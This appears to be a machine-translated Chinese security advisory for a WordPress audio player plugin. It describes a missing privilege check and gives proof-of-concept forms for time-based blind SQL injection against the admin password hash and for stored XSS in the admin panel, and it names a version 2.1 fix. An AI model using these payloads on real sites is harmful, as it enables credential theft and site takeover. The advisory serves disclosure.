wordpasss插件Wonder Plugin音频播放器
1.描述
wp_ajax_save_item()访问每一个注册用户(管理员权限不检查)。
save_item()使用is_id_exist()的$ id是正常没有逃过。
2.概念验证
作为标准的用户登录(使用wp-login.php创建? action =注册):
<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wonderplugin_audio_save_item">
<input type="text" name="item[id]" value="1 UNION (SELECT 1, 2, 3, 4, IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM `wp_users` WHERE ID = 1)">
<input type="submit" value="Hack!">
</form>
个SQL将首先检查密码字符用户ID = 1是“$”。 如果是,它将睡眠5秒。 XSS使用:
<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wonderplugin_audio_save_item">
<input type="hidden" name="item[id]" value="1">
<input type="text" name="item[name]" value=’<script>alert(String.fromCharCode(88,83,83));</script>’>
<input type="text" name="item[customcss]" value=’</style><script>alert(String.fromCharCode(88,83,83));</script>’>
<input type="submit" value="Hack!">
</form>
它将显示在每一页,商家wonderplugin_audio也用于管理小组:
http://wordpress-url/wp-admin/admin.php?page=wonderplugin_audio_show_items
解决方案: 更新到2.1版本
华盟君